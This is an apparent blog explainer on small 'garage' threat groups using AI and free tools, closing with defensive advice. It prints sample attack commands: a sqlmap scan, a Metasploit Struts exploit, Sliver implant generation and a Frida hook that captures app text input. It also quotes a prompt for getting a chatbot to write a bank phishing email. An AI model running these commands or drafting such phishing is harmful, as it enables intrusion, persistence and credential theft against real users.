The term "Garage APTs" (Advanced Persistent Threats/small teams) in cyber security defines entities that are small, but now can implement APT level operations from small facilities (e.g., garages) or home offices. Garage APTs do not have large government sponsorship; they are typically non-traditional sponsorship (private sector), but they take advantage of the various AI tools available to them to build equally sophisticated threats and to achieve comparable impacts to traditional, large, government-supported APTs.
The democratization of AI over the past few years has increased access for non-traditional APTs. A person with a laptop and internet can now utilize open source models to automate vulnerability findings, create phishing schemes, evade detection, or orchestrate attacks. This has been enough of a shift to erase the distinction between amateurs and professionals regarding cyber security, and has created unpredictable risks to average users, small businesses, as well as large companies.
Reasons Why Garage APTs are on the Rise.
1. AI Accessibility: There are no cost or low cost AI models (e.g., Llama, Mistral, Grok) that provide capabilities to any cyber entity regardless of their size and/or location.
2. Simplicity in Use: Cloud-based GPU use and APIs make it easier to do the heavy lifting for APT operations.
3. Asymmetric Power: A smaller group can easily target larger victims, with little chance of being caught, using AI for speed and scale.
4. Simplicity of Monetization: Ransomware-as-a-service and dark web marketplaces for cryptocurrency facilitate ease of collecting on a cyber crime.
Tools That Garage Apt Groups Can Use:
All of these tools are commonly found and available for small groups including Free and Open Source software (this is only for educational purposes and any attempt to use these tools for malicious purposes is prohibited).
1. Grok / ChatGPT / Claude This tool can be used to create unique phishing emails and social engineering scripts using AI. For example, ask ChatGPT to "create a phishing email that appears to come from the bank notifying me about fraud on my account, including a link for me to click on to obtain more information."
2.sqlmap / Nuclei Use these tools to automate the discovery of vulnerabilities on an APT web application (e.g. SQL Injection). Here is an example of using sqlmap:
sqlmap -u "http://target.com/page?id=1" --dbs –batch
3. Metasploit Framework (Free) is an exploitation framework that can be used to create and exploit vulnerabilities. Here is an example of using Metasploit:
msfconsole
use exploit/multi/http/struts_code_exec
set RHOSTS target_ip
exploit
4. Sliver/Covenant (Command and Control Frameworks) are examples of open source tools used for persistence by receiving commands to self-perpetuate.
generate --mtls yourdomain.com --save implant.exe
5. Frida / Objection (Mobile Application Manipulation) Example of code for using Frida on the Android or iOS version of an app to intercept function calls to extract information:
Java.perform(function () {
var EditText = Java.use("android.widget.EditText");
EditText.getText.implementation = function () {
console.log("Captured: " + this.getText());
return this.getText.call(this);
};
});
Real-World Examples of Garage APT Operations
1. Small-group ransomware (2025): The 3-person group used AI to fuzz for IoT device zero-day vulnerabilities and then exploited them with Metasploit, and finally paid out with $500,000+ in ransom against medium companies prior to being arrested.
2. Unauthorized Data Theft (2026): An individual hacker created phishing kits that utilized Grok to obtain credentials and Frida to reverse engineering banking applications. The hacker was able to acquire over 1,000 credentials (from one country) and sell them on the Dark Web for approximately USD 20,000.
3. Non-State Actor (2025): This actor targeted supply chain applications with two tools, Nuclei and Sliver, and provided backdoored updates for espionage purposes against more than 50 companies.
Steps to Protect Against Garage-Attached APTs
1. Individuals - Use unique, complex passwords and two-factor authentication (MFA). Don't click on links and open attachments from unknown sources. Keep your software updated, and use AV products that have an AI detection component (e.g., Malwarebytes free version).
2. Businesses - Require all employees to use AI, regularly scan for vulnerabilities using Nuclei (Nuclei is free), use an endpoint detection and response (EDR) tool (e.g., Defender for Endpoints), and conduct red team assessments with AI scenarios.
3. As a general rule - Treat every message or link as a potential phishing attempt and verify via the offline method.
Key Takeaways
Garage APTs demonstrate that everyone has access to traditional cyber operations via artificial intelligence - even if you don’t have a lot of money. The tools they use can be sourced for free: Metasploit, Frida, and AI models can be used to find vulnerabilities, build attacks, and avoid detection.
While every person is at risk from Garage APTs, you can prevent most of these attacks by maintaining proper security hygiene (update your software, enable MFA, exercise caution). Keep guard, as your next major threat will likely be coming out of someone’s garage!
